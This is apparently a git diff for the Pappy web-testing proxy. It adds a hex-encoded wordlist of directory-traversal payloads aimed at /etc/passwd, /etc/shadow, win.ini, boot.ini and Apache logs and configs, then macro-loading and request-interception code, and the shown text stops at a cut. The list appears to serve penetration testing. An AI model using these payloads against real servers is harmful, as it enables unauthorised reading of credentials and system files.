+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f736861646f77253030 + +2f2e2e5c2e2e5c2e2e5c2e2e5c2e2e5c2e2e5c77696e6e745c77696e2e696e69 +2e2e2f2e2e2f77696e646f77732f77696e2e696e69 +2e2e2f2f2e2e2f2f2e2e2f2f2e2e2f2f2e2e2f2f626f6f742e696e69 +2e2e5c2e2e2f2e2e5c2e2e2f626f6f742e696e69 +2e2e5c2e2e2f2e2e5c2e2e2f2e2e5c2e2e2f2e2e5c2e2e2f626f6f742e696e69 +5c2e2e2e2e2e5c5c2e2e2e2e2e5c5c2e2e2e2e2e +643a5c417070536572765c4d7953514c +633a5c417070536572765c4d7953514c +633a57494e444f57532f73797374656d33322f +2f433a5c50726f6772616d2046696c6573 +2f443a5c50726f6772616d2046696c6573 +2f433a2f696e65747075622f667470726f6f742f + +2f626f6f742f677275622f677275622e636f6e66 +2f70726f632f696e7465727275707473 +2f70726f632f637075696e666f +2f70726f632f6d656d696e666f + +2e2e2f6170616368652f6c6f67732f6572726f722e6c6f67 +2e2e2f6170616368652f6c6f67732f6163636573732e6c6f67 +2e2e2f2e2e2f6170616368652f6c6f67732f6572726f722e6c6f67 +2e2e2f2e2e2f6170616368652f6c6f67732f6163636573732e6c6f67 +2e2e2f2e2e2f2e2e2f6170616368652f6c6f67732f6572726f722e6c6f67 +2e2e2f2e2e2f2e2e2f6170616368652f6c6f67732f6163636573732e6c6f67 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f68747470642f6c6f67732f61636365735f6c6f67 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f68747470642f6c6f67732f61636365732e6c6f67 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f68747470642f6c6f67732f6572726f725f6c6f67 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f68747470642f6c6f67732f6572726f722e6c6f67 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f7777772f6c6f67732f6163636573735f6c6f67 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f7777772f6c6f67732f6163636573732e6c6f67 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6170616368652f6c6f67732f6163636573735f206c6f67 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6170616368652f6c6f67732f6163636573732e206c6f67 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f6170616368652f6163636573735f6c6f67 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f617061636865322f6163636573735f6c6f67 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f6170616368652f6163636573732e6c6f67 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f617061636865322f6163636573732e6c6f67 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f6163636573735f6c6f67 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f6163636573732e6c6f67 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f7777772f6c6f67732f6572726f725f6c6f67 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f7777772f6c6f67732f6572726f722e6c6f67 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6170616368652f6c6f67732f6572726f725f6c6f67 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6170616368652f6c6f67732f6572726f722e6c206f67 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f6170616368652f6572726f725f6c6f67 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f617061636865322f6572726f725f6c6f67 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f6170616368652f6572726f722e6c6f67 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f617061636865322f6572726f722e6c6f67 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f6572726f725f6c6f67 +2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f6572726f722e6c6f67 + +2f6574632f696e69742e642f617061636865 +2f6574632f696e69742e642f61706163686532 +2f6574632f68747470642f68747470642e636f6e66 +2f6574632f6170616368652f6170616368652e636f6e66 +2f6574632f6170616368652f68747470642e636f6e66 +2f6574632f617061636865322f617061636865322e636f6e66 +2f6574632f617061636865322f68747470642e636f6e66 +2f7573722f6c6f63616c2f617061636865322f636f6e662f68747470642e636f6e66 +2f7573722f6c6f63616c2f6170616368652f636f6e662f68747470642e636f6e66 +2f6f70742f6170616368652f636f6e662f68747470642e636f6e66 +2f686f6d652f6170616368652f68747470642e636f6e66 +2f686f6d652f6170616368652f636f6e662f68747470642e636f6e66 +2f6574632f617061636865322f73697465732d617661696c61626c652f64656661756c74 +2f6574632f617061636865322f76686f7374732e642f64656661756c745f76686f73742e696e636c756465 + +2f6574632f706173737764 +2f6574632f736861646f77 +2f6574632f67726f7570 +2f6574632f73656375726974792f67726f7570 +2f6574632f73656375726974792f706173737764 +2f6574632f73656375726974792f75736572 +2f6574632f73656375726974792f656e7669726f6e +2f6574632f73656375726974792f6c696d697473 +2f7573722f6c69622f73656375726974792f6d6b757365722e64656661756c74 + +32663664363137333734363537323265373036313733373337373634 +3635373436333266373036313733373337373634 +3635373436333266373336383631363436663737323533303330 +32663635373436333266373036313733373337373634 +32663635373436333266373036313733373337373634323533303330 +3265326532663635373436333266373036313733373337373634 +3265326532663635373436333266373036313733373337373634323533303330 +3265326532663265326532663635373436333266373036313733373337373634 +3265326532663265326532663635373436333266373036313733373337373634323533303330 +3265326532663265326532663265326532663635373436333266373036313733373337373634 +3265326532663265326532663265326532663635373436333266373036313733373337373634323533303330 +3265326532663265326532663265326532663265326532663635373436333266373036313733373337373634 +3265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330 +3265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634 +3265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330 +3265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634 +3265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373336383631363436663737323533303330 + +32663265326535633265326535633265326535633265326535633265326535633265326535633737363936653665373435633737363936653265363936653639 +326532653266326532653266373736393665363436663737373332663737363936653265363936653639 +3265326532663266326532653266326632653265326632663265326532663266326532653266326636323666366637343265363936653639 +32653265356332653265326632653265356332653265326636323666366637343265363936653639 +32653265356332653265326632653265356332653265326632653265356332653265326632653265356332653265326636323666366637343265363936653639 +35633265326532653265326535633563326532653265326532653563356332653265326532653265 +3634336135633431373037303533363537323736356334643739353335313463 +3633336135633431373037303533363537323736356334643739353335313463 +3633336135373439346534343466353735333266373337393733373436353664333333323266 +32663433336135633530373236663637373236313664323034363639366336353733 +32663434336135633530373236663637373236313664323034363639366336353733 +32663433336132663639366536353734373037353632326636363734373037323666366637343266 + +32663632366636663734326636373732373536323266363737323735363232653633366636653636 +3266373037323666363332663639366537343635373237323735373037343733 +3266373037323666363332663633373037353639366536363666 +3266373037323666363332663664363536643639366536363666 + +326532653266363137303631363336383635326636633666363737333266363537323732366637323265366336663637 +3265326532663631373036313633363836353266366336663637373332663631363336333635373337333265366336663637 +326532653266326532653266363137303631363336383635326636633666363737333266363537323732366637323265366336663637 +3265326532663265326532663631373036313633363836353266366336663637373332663631363336333635373337333265366336663637 +326532653266326532653266326532653266363137303631363336383635326636633666363737333266363537323732366637323265366336663637 +3265326532663265326532663265326532663631373036313633363836353266366336663637373332663631363336333635373337333265366336663637 +326532653266326532653266326532653266326532653266326532653266326532653266326532653266363537343633326636383734373437303634326636633666363737333266363136333633363537333566366336663637 +326532653266326532653266326532653266326532653266326532653266326532653266326532653266363537343633326636383734373437303634326636633666363737333266363136333633363537333265366336663637 +326532653266326532653266326532653266326532653266326532653266326532653266326532653266363537343633326636383734373437303634326636633666363737333266363537323732366637323566366336663637 +326532653266326532653266326532653266326532653266326532653266326532653266326532653266363537343633326636383734373437303634326636633666363737333266363537323732366637323265366336663637 +32653265326632653265326632653265326632653265326632653265326632653265326632653265326637363631373232663737373737373266366336663637373332663631363336333635373337333566366336663637 +32653265326632653265326632653265326632653265326632653265326632653265326632653265326637363631373232663737373737373266366336663637373332663631363336333635373337333265366336663637 +326532653266326532653266326532653266326532653266326532653266326532653266326532653266373537333732326636633666363336313663326636313730363136333638363532663663366636373733326636313633363336353733373335663230366336663637 +326532653266326532653266326532653266326532653266326532653266326532653266326532653266373537333732326636633666363336313663326636313730363136333638363532663663366636373733326636313633363336353733373332653230366336663637 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663736363137323266366336663637326636313730363136333638363532663631363336333635373337333566366336663637 +32653265326632653265326632653265326632653265326632653265326632653265326632653265326637363631373232663663366636373266363137303631363336383635333232663631363336333635373337333566366336663637 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663736363137323266366336663637326636313730363136333638363532663631363336333635373337333265366336663637 +32653265326632653265326632653265326632653265326632653265326632653265326632653265326637363631373232663663366636373266363137303631363336383635333232663631363336333635373337333265366336663637 +326532653266326532653266326532653266326532653266326532653266326532653266326532653266373636313732326636633666363732663631363336333635373337333566366336663637 +326532653266326532653266326532653266326532653266326532653266326532653266326532653266373636313732326636633666363732663631363336333635373337333265366336663637 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663736363137323266373737373737326636633666363737333266363537323732366637323566366336663637 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663736363137323266373737373737326636633666363737333266363537323732366637323265366336663637 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663735373337323266366336663633363136633266363137303631363336383635326636633666363737333266363537323732366637323566366336663637 +32653265326632653265326632653265326632653265326632653265326632653265326632653265326637353733373232663663366636333631366332663631373036313633363836353266366336663637373332663635373237323666373232653663323036663637 +326532653266326532653266326532653266326532653266326532653266326532653266326532653266373636313732326636633666363732663631373036313633363836353266363537323732366637323566366336663637 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663736363137323266366336663637326636313730363136333638363533323266363537323732366637323566366336663637 +326532653266326532653266326532653266326532653266326532653266326532653266326532653266373636313732326636633666363732663631373036313633363836353266363537323732366637323265366336663637 +3265326532663265326532663265326532663265326532663265326532663265326532663265326532663736363137323266366336663637326636313730363136333638363533323266363537323732366637323265366336663637 +32653265326632653265326632653265326632653265326632653265326632653265326632653265326637363631373232663663366636373266363537323732366637323566366336663637 +32653265326632653265326632653265326632653265326632653265326632653265326632653265326637363631373232663663366636373266363537323732366637323265366336663637 + +326636353734363332663639366536393734326536343266363137303631363336383635 +3266363537343633326636393665363937343265363432663631373036313633363836353332 +326636353734363332663638373437343730363432663638373437343730363432653633366636653636 +32663635373436333266363137303631363336383635326636313730363136333638363532653633366636653636 +3266363537343633326636313730363136333638363532663638373437343730363432653633366636653636 +3266363537343633326636313730363136333638363533323266363137303631363336383635333232653633366636653636 +32663635373436333266363137303631363336383635333232663638373437343730363432653633366636653636 +3266373537333732326636633666363336313663326636313730363136333638363533323266363336663665363632663638373437343730363432653633366636653636 +326637353733373232663663366636333631366332663631373036313633363836353266363336663665363632663638373437343730363432653633366636653636 +326636663730373432663631373036313633363836353266363336663665363632663638373437343730363432653633366636653636 +32663638366636643635326636313730363136333638363532663638373437343730363432653633366636653636 +3266363836663664363532663631373036313633363836353266363336663665363632663638373437343730363432653633366636653636 +326636353734363332663631373036313633363836353332326637333639373436353733326436313736363136393663363136323663363532663634363536363631373536633734 +3266363537343633326636313730363136333638363533323266373636383666373337343733326536343266363436353636363137353663373435663736363836663733373432653639366536333663373536343635 + +32663635373436333266373036313733373337373634 +32663635373436333266373336383631363436663737 +3266363537343633326636373732366637353730 +3266363537343633326637333635363337353732363937343739326636373732366637353730 +32663635373436333266373336353633373537323639373437393266373036313733373337373634 +326636353734363332663733363536333735373236393734373932663735373336353732 +326636353734363332663733363536333735373236393734373932663635366537363639373236663665 +32663635373436333266373336353633373537323639373437393266366336393664363937343733 +32663735373337323266366336393632326637333635363337353732363937343739326636643662373537333635373232653634363536363631373536633734 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/pappyproxy/macros.py b/pappyproxy/macros.py new file mode 100644 index 0000000..21ad4f0 --- /dev/null +++ b/pappyproxy/macros.py @@ -0,0 +1,269 @@ +import glob +import imp +import os +import random +import re + +from pappyproxy import http +from pappyproxy import templates +from pappyproxy import config +from twisted.internet import defer +from jinja2 import Environment, FileSystemLoader + +class Macro(object): + """ + A class representing a macro that can perform a series of requests and add + data to storage. + """ + + def __init__(self, filename=''): + self.name = '' + self.short_name = None + self.file_name = '' # name from the file + self.filename = filename or '' # filename we load from + self.source = None + + if self.filename: + self.load() + + def __repr__(self): + s = self.name + names = [] + if hasattr(self.source, 'SHORT_NAME'): + if self.source.SHORT_NAME: + names.append(self.source.SHORT_NAME) + names.append(self.file_name) + s += ' (%s)' % ('/'.join(names)) + return "" % s + + def load(self): + if self.filename: + match = re.findall('.*macro_(.*).py$', self.filename) + self.file_name = match[0] + module_name = os.path.basename(os.path.splitext(self.filename)[0]) + self.source = imp.load_source('%s'%module_name, self.filename) + if not hasattr(self.source, 'MACRO_NAME'): + raise PappyException('Macro in %s does not define MACRO_NAME' % self.filename) + self.name = self.source.MACRO_NAME + if self.name == '': + raise PappyException('Macro in %s cannot have a blank name' % self.filename) + if hasattr(self.source, 'SHORT_NAME'): + self.short_name = self.source.SHORT_NAME + else: + self.short_name = None + else: + self.source = None + + def execute(self, args): + # Execute the macro + if self.source: + self.source.run_macro(args) + +class InterceptMacro(object): + """ + A class representing a macro that modifies requests as they pass through the + proxy + """ + def __init__(self, filename=''): + self.name = '' + self.short_name = None + self.intercept_requests = True + self.intercept_responses = True + self.file_name = '' # name from the file + self.filename = filename or '' # filename we load from + self.source = None + + if self.filename: + self.load() + + def __repr__(self): + s = self.name + names = [] + if hasattr(self.source, 'SHORT_NAME'): + if self.source.SHORT_NAME: + names.append(self.source.SHORT_NAME) + names.append(self.file_name) + s += ' (%s)' % ('/'.join(names)) + return "" % s + + @property + def do_req(self): + if (self.source and hasattr(self.source, 'async_mangle_request') or \ + self.source and hasattr(self.source, 'mangle_request')) and \ + self.intercept_requests: + return True + return False + + @property + def do_rsp(self): + if (self.source and hasattr(self.source, 'async_mangle_response') or \ + self.source and hasattr(self.source, 'mangle_response')) and \ + self.intercept_responses: + return True + return False + + @property + def async_req(self): + if self.source and hasattr(self.source, 'async_mangle_request'): + return True + else: + return False + + @property + def async_rsp(self): + if self.source and hasattr(self.source, 'async_mangle_response'): + return True + else: + return False + + def load(self): + if self.filename: + match = re.findall('.*int_(.*).py$', self.filename) + if len(match) > 0: + self.file_name = match[0] + else: + self.file_name = self.filename + module_name = os.path.basename(os.path.splitext(self.filename)[0]) + self.source = imp.load_source('%s'%module_name, self.filename) + self.name = self.source.MACRO_NAME + if self.name == '': + raise PappyException('Macro in %s cannot have a blank name' % self.filename) + if hasattr(self.source, 'SHORT_NAME'): + self.short_name = self.source.SHORT_NAME + else: + self.short_name = None + + if hasattr(self.source, 'mangle_request') and \ + hasattr(self.source, 'async_mangle_request'): + raise PappyException('Intercepting macro in %s cannot define both mangle_request and async_mangle_request' % self.filename) + if hasattr(self.source, 'mangle_response') and \ + hasattr(self.source, 'async_mangle_response'): + raise PappyException('Intercepting macro in %s cannot define both mangle_response and async_mangle_response' % self.filename) + else: + self.source = None + + def init(self, line): + if hasattr(self.source, 'init'): + self.source.init(line) + + def mangle_request(self, request): + if hasattr(self.source, 'mangle_request'): + req = self.source.mangle_request(request) + return req + return request + + def mangle_response(self, request): + if hasattr(self.source, 'mangle_response'): + rsp = self.source.mangle_response(request) + return rsp + return request.response + + @defer.inlineCallbacks + def async_mangle_request(self, request): + if hasattr(self.source, 'async_mangle_request'): + req = yield self.source.async_mangle_request(request) + defer.returnValue(req) + defer.returnValue(request) + + @defer.inlineCallbacks + def async_mangle_response(self, request): + if hasattr(self.source, 'async_mangle_response'): + rsp = yield self.source.async_mangle_response(request) + defer.returnValue(rsp) + defer.returnValue(request.response) + +def load_macros(loc): + """ + Loads the macros stored in the location and returns a list of Macro objects + """ + macro_files = glob.glob(loc + "/macro_*.py") + macro_objs = [] + for f in macro_files: + macro_objs.append(Macro(f)) + + int_macro_files = glob.glob(loc + "/int_*.py") + int_macro_objs = [] + for f in int_macro_files: + int_macro_objs.append(InterceptMacro(f)) + return (macro_objs, int_macro_objs) + +def req_obj_def(req): + lines = req.full_request.splitlines(True) + esclines = [line.encode('string_escape') for line in lines] + + params = [] + if req.is_ssl: + params.append('is_ssl=True') + if req.port != 443: + params.append('port=%d'%req.port) + else: + if req.port != 80: + params.append('port=%d'%req.port) + if params: + req_params = ', '+', '.join(params) + else: + req_params = '' + + ret = 'Request ((' + for line in esclines: + ret += "'%s'\n" % line + ret += ')' + ret += req_params + ret += ')' + return ret + +def macro_from_requests(reqs, short_name='', long_name=''): + # Generates a macro that defines request objects for each of the requests + # in reqs + subs = {} + if long_name: + subs['macro_name'] = long_name + else: + random.seed() + subs['macro_name'] = 'Macro %d' % random.randint(1,99999999) + + subs['short_name'] = short_name + + n = 0 + req_lines = [] + req_params = [] + for req in reqs: + lines = req.full_request.splitlines(True) + esclines = [line.encode('string_escape') for line in lines] + req_lines.append(esclines) + + params = [] + if req.is_ssl: + params.append('is_ssl=True') + if req.port != 443: + params.append('port=%d'%req.port) + else: + if req.port != 80: + params.append('port=%d'%req.port) + if params: + req_params.append(', '+', '.join(params)) + else: + req_params.append('') + subs['req_lines'] = req_lines + subs['req_params'] = req_params + + loader = FileSystemLoader(config.PAPPY_DIR+'/templates') + env = Environment(loader=loader) + template = env.get_template('macro.py') + return template.render(zip=zip, **subs) + +def gen_imacro(short_name='', long_name=''): + subs = {} + if long_name: + subs['macro_name'] = long_name + else: + random.seed() + subs['macro_name'] = 'Macro %d' % random.randint(1,99999999) + + subs['short_name'] = short_name + + loader = FileSystemLoader(config.PAPPY_DIR+'/templates') + env = Environment(loader=loader) + template = env.get_template('intmacro.py') + return template.render(**subs) + diff --git a/pappyproxy/mangle.py b/pappyproxy/mangle.py index 41fa565..f7b9e9d 100644 --- a/pappyproxy/mangle.py +++ b/pappyproxy/mangle.py @@ -1,121 +1,78 @@ +import copy import os import string import subprocess import tempfile -import http import pappyproxy +from pappyproxy import http from twisted.internet import defer -active_requests = {} - -intercept_requests = False -intercept_responses = False - -def set_intercept_requests(val): - global intercept_requests - intercept_requests = val - -def set_intercept_responses(val): - global intercept_responses - intercept_responses = val +MACRO_NAME = 'Pappy Text Editor Interceptor' @defer.inlineCallbacks -def mangle_request(request, connection_id): +def async_mangle_request(request): # This function gets called to mangle/edit requests passed through the proxy - global intercept_requests - orig_req = http.Request(request.full_request) - orig_req.port = request.port - orig_req.is_ssl = request.is_ssl - retreq = orig_req - - if pappyproxy.context.in_scope(orig_req): - if intercept_requests: # if we want to mangle... - # Write original request to the temp file - with tempfile.NamedTemporaryFile(delete=False) as tf: - tfName = tf.name - tf.write(orig_req.full_request) - - # Have the console edit the file - yield pappyproxy.console.edit_file(tfName) - - # Create new mangled request from edited file - with open(tfName, 'r') as f: - mangled_req = http.Request(f.read(), update_content_length=True) - mangled_req.is_ssl = orig_req.is_ssl - mangled_req.port = orig_req.port - - os.remove(tfName) - - # Check if dropped - if mangled_req.full_request == '': - pappyproxy.proxy.log('Request dropped!') - defer.returnValue(None) - - # Check if it changed - if mangled_req.full_request != orig_req.full_request: - # Set the object's metadata - mangled_req.unmangled = orig_req - retreq = mangled_req - - # Add our request to the context - pappyproxy.context.add_request(retreq) - else: - pappyproxy.proxy.log('Out of scope! Request passed along unharmed', id=connection_id) - - active_requests[connection_id] = retreq - retreq.submitted = True + retreq = request + # Write original request to the temp file + with tempfile.NamedTemporaryFile(delete=False) as tf: + tfName = tf.name + tf.write(request.full_request) + + # Have the console edit the file + yield pappyproxy.console.edit_file(tfName) + + # Create new mangled request from edited file + with open(tfName, 'r') as f: + text = f.read() + + os.remove(tfName) + + # Check if dropped + if text == '': + pappyproxy.proxy.log('Request dropped!') + defer.returnValue(None) + + mangled_req = http.Request(text, update_content_length=True) + mangled_req.port = request.port + mangled_req.is_ssl = request.is_ssl + + # Check if it changed + if mangled_req.full_request != request.full_request: + retreq = mangled_req + defer.returnValue(retreq) @defer.inlineCallbacks -def mangle_response(response, connection_id): +def async_mangle_response(request): # This function gets called to mangle/edit respones passed through the proxy - global intercept_responses - #response = string.replace(response, 'cloud', 'butt') - #response = string.replace(response, 'Cloud', 'Butt') - - myreq = active_requests[connection_id] - - orig_rsp = http.Response(response.full_response) - retrsp = orig_rsp - - if pappyproxy.context.in_scope(myreq): - if intercept_responses: # If we want to mangle... - # Write original request to the temp file - with tempfile.NamedTemporaryFile(delete=False) as tf: - tfName = tf.name - tf.write(orig_rsp.full_response) - - # Have the console edit the file - yield pappyproxy.console.edit_file(tfName, front=True) - - # Create new mangled request from edited file - with open(tfName, 'r') as f: - mangled_rsp = http.Response(f.read(), update_content_length=True) - - os.remove(tfName) - - # Check if dropped - if mangled_rsp.full_response == '': - pappyproxy.proxy.log('Response dropped!') - defer.returnValue(None) - - if mangled_rsp.full_response != orig_rsp.full_response: - mangled_rsp.unmangled = orig_rsp - retrsp = mangled_rsp - - if not myreq.reqid: - myreq.save() - if myreq.unmangled: - myreq.unmangled.save() - myreq.response = retrsp - else: - pappyproxy.proxy.log('Out of scope! Response passed along unharmed', id=connection_id) - del active_requests[connection_id] - myreq.response = retrsp - pappyproxy.context.filter_recheck() - defer.returnValue(myreq) + + retrsp = request.response + # Write original response to the temp file + with tempfile.NamedTemporaryFile(delete=False) as tf: + tfName = tf.name + tf.write(request.response.full_response) + + # Have the console edit the file + yield pappyproxy.console.edit_file(tfName, front=True) + + # Create new mangled response from edited file + with open(tfName, 'r') as f: + text = f.read() + + os.remove(tfName) + + # Check if 